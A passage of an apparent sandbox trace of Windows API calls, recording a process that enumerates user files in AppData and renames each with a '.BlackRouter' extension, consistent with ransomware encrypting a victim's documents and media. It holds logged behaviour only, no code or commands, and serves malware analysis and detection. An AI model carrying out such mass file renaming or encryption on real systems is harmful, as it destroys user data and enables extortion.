lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf7d9a30, ftCreationTime.dwHighDateTime=0x1d4a550, ftLastAccessTime.dwLowDateTime=0xaf7d9a30, ftLastAccessTime.dwHighDateTime=0x1d4a550, ftLastWriteTime.dwLowDateTime=0xd29a9db0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10330)) returned 1 [0073.971] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe.blackrouter")) returned 1 [0074.320] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xa5ff [0074.324] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd2d15d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa600)) returned 1 [0074.324] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.blackrouter")) returned 1 [0075.157] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x10ae9 [0075.163] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SYWBcyX4XKYw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sywbcyx4xkyw.odt"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e083e40, ftCreationTime.dwHighDateTime=0x1d464d9, ftLastAccessTime.dwLowDateTime=0x92393890, ftLastAccessTime.dwHighDateTime=0x1d465d5, ftLastWriteTime.dwLowDateTime=0xd34f8630, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10af0)) returned 1 [0075.163] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SYWBcyX4XKYw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sywbcyx4xkyw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SYWBcyX4XKYw.odt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\sywbcyx4xkyw.odt.blackrouter")) returned 1 [0075.164] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x688a [0075.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xCCE2bKwNJ62rmPbMRq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xcce2bkwnj62rmpbmrq.odt"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7b51120, ftCreationTime.dwHighDateTime=0x1d457d7, ftLastAccessTime.dwLowDateTime=0x69527e10, ftLastAccessTime.dwHighDateTime=0x1d45832, ftLastWriteTime.dwLowDateTime=0xd35b6d10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6890)) returned 1 [0075.254] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xCCE2bKwNJ62rmPbMRq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xcce2bkwnj62rmpbmrq.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xCCE2bKwNJ62rmPbMRq.odt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xcce2bkwnj62rmpbmrq.odt.blackrouter")) returned 1 [0075.257] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x11a44 [0075.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\37RnLHSknUKWzB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\37rnlhsknukwzb.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe72a6fe0, ftCreationTime.dwHighDateTime=0x1d4616b, ftLastAccessTime.dwLowDateTime=0x346f0690, ftLastAccessTime.dwHighDateTime=0x1d45ce3, ftLastWriteTime.dwLowDateTime=0xd3602fd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11a50)) returned 1 [0075.264] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\37RnLHSknUKWzB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\37rnlhsknukwzb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\37RnLHSknUKWzB.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\37rnlhsknukwzb.mp3.blackrouter")) returned 1 [0075.351] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x31ff [0075.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ASLeujSo7V-gg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\asleujso7v-gg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18a64bd0, ftCreationTime.dwHighDateTime=0x1d46170, ftLastAccessTime.dwLowDateTime=0x743a52f0, ftLastAccessTime.dwHighDateTime=0x1d45ee8, ftLastWriteTime.dwLowDateTime=0xd36e7810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3200)) returned 1 [0075.356] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ASLeujSo7V-gg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\asleujso7v-gg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ASLeujSo7V-gg.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\asleujso7v-gg.mp3.blackrouter")) returned 1 [0075.358] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xc25c [0075.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Gfybh4GKRivJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gfybh4gkrivj.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa182ad90, ftCreationTime.dwHighDateTime=0x1d45fcc, ftLastAccessTime.dwLowDateTime=0xf1db660, ftLastAccessTime.dwHighDateTime=0x1d45668, ftLastWriteTime.dwLowDateTime=0xd36e7810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc260)) returned 1 [0075.364] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Gfybh4GKRivJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gfybh4gkrivj.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Gfybh4GKRivJ.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gfybh4gkrivj.mp3.blackrouter")) returned 1 [0075.365] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x9272 [0075.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-nMkwLbkfs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-nmkwlbkfs.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4cdadf0, ftCreationTime.dwHighDateTime=0x1d456b3, ftLastAccessTime.dwLowDateTime=0x99150540, ftLastAccessTime.dwHighDateTime=0x1d464ef, ftLastWriteTime.dwLowDateTime=0xd370d970, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9280)) returned 1 [0075.371] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-nMkwLbkfs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-nmkwlbkfs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-nMkwLbkfs.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-nmkwlbkfs.wav.blackrouter")) returned 1 [0075.372] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xfbb2 [0075.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G1sK08a.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g1sk08a.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9362dad0, ftCreationTime.dwHighDateTime=0x1d4652d, ftLastAccessTime.dwLowDateTime=0xed44d870, ftLastAccessTime.dwHighDateTime=0x1d462e2, ftLastWriteTime.dwLowDateTime=0xd3733ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xfbc0)) returned 1 [0075.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G1sK08a.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g1sk08a.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G1sK08a.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g1sk08a.wav.blackrouter")) returned 1 [0075.392] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x13695 [0075.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jvMmqcq5 A AQjHk0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jvmmqcq5 a aqjhk0.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x561b100, ftCreationTime.dwHighDateTime=0x1d45b1b, ftLastAccessTime.dwLowDateTime=0x30a859d0, ftLastAccessTime.dwHighDateTime=0x1d4587e, ftLastWriteTime.dwLowDateTime=0xd3733ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x136a0)) returned 1 [0075.400] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jvMmqcq5 A AQjHk0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jvmmqcq5 a aqjhk0.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jvMmqcq5 A AQjHk0.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jvmmqcq5 a aqjhk0.wav.blackrouter")) returned 1 [0075.407] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xdee [0075.410] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pUQT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\puqt.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bc03dd0, ftCreationTime.dwHighDateTime=0x1d45ef7, ftLastAccessTime.dwLowDateTime=0xd34dbc60, ftLastAccessTime.dwHighDateTime=0x1d45cda, ftLastWriteTime.dwLowDateTime=0xd3759c30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0075.410] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pUQT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\puqt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pUQT.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\puqt.wav.blackrouter")) returned 1 [0075.412] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xd53d [0075.417] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qRx8CScTWl5_yNBHQS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qrx8csctwl5_ynbhqs.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5e90050, ftCreationTime.dwHighDateTime=0x1d46199, ftLastAccessTime.dwLowDateTime=0x38976930, ftLastAccessTime.dwHighDateTime=0x1d45d54, ftLastWriteTime.dwLowDateTime=0xd377fd90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd540)) returned 1 [0075.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qRx8CScTWl5_yNBHQS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qrx8csctwl5_ynbhqs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\qRx8CScTWl5_yNBHQS.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qrx8csctwl5_ynbhqs.wav.blackrouter")) returned 1 [0075.419] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x36ef [0075.423] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2mm_r_yRBcM1ZRq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2mm_r_yrbcm1zrq.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4565fa0, ftCreationTime.dwHighDateTime=0x1d45b62, ftLastAccessTime.dwLowDateTime=0xf7247180, ftLastAccessTime.dwHighDateTime=0x1d45783, ftLastWriteTime.dwLowDateTime=0xd377fd90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x36f0)) returned 1 [0075.423] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2mm_r_yRBcM1ZRq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2mm_r_yrbcm1zrq.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2mm_r_yRBcM1ZRq.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2mm_r_yrbcm1zrq.swf.blackrouter")) returned 1 [0075.424] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x11be2 [0075.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B_eCCow2OBb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b_eccow2obb.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774711a0, ftCreationTime.dwHighDateTime=0x1d45e83, ftLastAccessTime.dwLowDateTime=0x68bcc1d0, ftLastAccessTime.dwHighDateTime=0x1d45cd4, ftLastWriteTime.dwLowDateTime=0xd377fd90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11bf0)) returned 1 [0075.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B_eCCow2OBb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b_eccow2obb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\B_eCCow2OBb.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\b_eccow2obb.swf.blackrouter")) returned 1 [0075.432] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x8201 [0075.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FdgZAdT_xmjK.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fdgzadt_xmjk.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76be6920, ftCreationTime.dwHighDateTime=0x1d45ca0, ftLastAccessTime.dwLowDateTime=0x35849e60, ftLastAccessTime.dwHighDateTime=0x1d45d69, ftLastWriteTime.dwLowDateTime=0xd37a5ef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8210)) returned 1 [0075.437] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FdgZAdT_xmjK.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fdgzadt_xmjk.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FdgZAdT_xmjK.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fdgzadt_xmjk.swf.blackrouter")) returned 1 [0075.438] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xb318 [0075.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Re9wJwBVZDhff.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\re9wjwbvzdhff.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2563a8b0, ftCreationTime.dwHighDateTime=0x1d46470, ftLastAccessTime.dwLowDateTime=0x37a9ed70, ftLastAccessTime.dwHighDateTime=0x1d45f2c, ftLastWriteTime.dwLowDateTime=0xd37a5ef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb320)) returned 1 [0075.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Re9wJwBVZDhff.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\re9wjwbvzdhff.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Re9wJwBVZDhff.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\re9wjwbvzdhff.swf.blackrouter")) returned 1 [0075.445] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xde36 [0075.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJTQz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rjtqz.avi"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fc3d890, ftCreationTime.dwHighDateTime=0x1d462d7, ftLastAccessTime.dwLowDateTime=0x86be7630, ftLastAccessTime.dwHighDateTime=0x1d45b74, ftLastWriteTime.dwLowDateTime=0xd37cc050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xde40)) returned 1 [0075.451] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJTQz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rjtqz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJTQz.avi.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rjtqz.avi.blackrouter")) returned 1 [0075.453] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x940f [0075.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\EMR3of4mbQJFN-zyRT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\emr3of4mbqjfn-zyrt.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49b0f940, ftCreationTime.dwHighDateTime=0x1d45b3b, ftLastAccessTime.dwLowDateTime=0x42fca2c0, ftLastAccessTime.dwHighDateTime=0x1d45a55, ftLastWriteTime.dwLowDateTime=0xd37cc050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9410)) returned 1 [0075.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\EMR3of4mbQJFN-zyRT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\emr3of4mbqjfn-zyrt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\EMR3of4mbQJFN-zyRT.mp4.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\emr3of4mbqjfn-zyrt.mp4.blackrouter")) returned 1 [0075.460] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x16df5 [0075.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mID17.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mid17.flv"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb173af20, ftCreationTime.dwHighDateTime=0x1d45a71, ftLastAccessTime.dwLowDateTime=0xa8be70b0, ftLastAccessTime.dwHighDateTime=0x1d45637, ftLastWriteTime.dwLowDateTime=0xd37f21b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16e00)) returned 1 [0075.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mID17.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mid17.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mID17.flv.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mid17.flv.blackrouter")) returned 1 [0075.470] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x40c5 [0075.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\giQT650p Mno7vS4ejUD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\giqt650p mno7vs4ejud.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5c4eda0, ftCreationTime.dwHighDateTime=0x1d459bd, ftLastAccessTime.dwLowDateTime=0xe5b93100, ftLastAccessTime.dwHighDateTime=0x1d45f18, ftLastWriteTime.dwLowDateTime=0xd37f21b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40d0)) returned 1 [0075.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\giQT650p Mno7vS4ejUD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\giqt650p mno7vs4ejud.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\giQT650p Mno7vS4ejUD.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\giqt650p mno7vs4ejud.gif.blackrouter")) returned 1 [0075.476] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x752e [0075.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 